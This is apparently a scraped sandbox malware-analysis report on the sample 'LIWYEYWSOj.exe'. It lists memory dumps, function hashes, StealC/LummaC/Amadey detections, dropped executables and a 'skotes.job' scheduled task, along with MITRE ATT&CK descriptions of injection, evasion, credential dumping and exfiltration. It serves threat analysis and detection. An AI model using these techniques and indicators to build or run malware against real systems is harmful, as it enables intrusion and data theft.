Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProxyProxy::ReturnThreadstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 548886458-2046700901
Opcode ID: 02998bd1e20bab54388506f4fe00d383474c95d8decd0d5ab339de11cec76608
Instruction ID: 24b1912cb60566c2fd699327bb18dbf04c7129d186c607a12d66078eb29a3d35
Opcode Fuzzy Hash: 02998bd1e20bab54388506f4fe00d383474c95d8decd0d5ab339de11cec76608
Instruction Fuzzy Hash: 1FE0D839B002046BCB14F7A5D889D9DBBBD9EC47157184125E911E3391EB74AE05CBD8

Function 00C534CC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 21COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C534FC

Strings

pScheduler, xrefs: 00C534F4
version, xrefs: 00C534E1

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: pScheduler$version
API String ID: 2141394445-3154422776
Opcode ID: 26085f6c4d2f70fe1dd08afdb52479a8dba2c8a024360572ebdd6ed495bf1988
Instruction ID: 4bab176cd44330058da865ed8f454b14ea1b420213b5de9f93b41ce8cd27b981
Opcode Fuzzy Hash: 26085f6c4d2f70fe1dd08afdb52479a8dba2c8a024360572ebdd6ed495bf1988
Instruction Fuzzy Hash: CDE08638440248B7CF26FB55CC47ACC7BA89B1074EF18C121BC20511D19BB497DCEB8A

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report LIWYEYWSOj.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

C:\Users\user\AppData\Local\Temp\1024086001\0fd4b3a5d7.exe

C:\Users\user\AppData\Local\Temp\LEDU23VRAEI6A5X1LTGJU.exe

C:\Users\user\AppData\Local\Temp\ZEV545Y6VQAOO1ZG8Z5WIIWMJ.exe

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

C:\Windows\Tasks\skotes.job

Static File Info

General

File Icon

Static PE Info

General

Windows Analysis Report
LIWYEYWSOj.exe

Function 0025735A Relevance: 2.5, APIs: 1, Instructions: 1031
COMMON

Function 0028652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Function 00259BA5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140
sleepsynchronizationCOMMON

Function 00259F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Function 0025A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Function 0025A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Function 0025A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre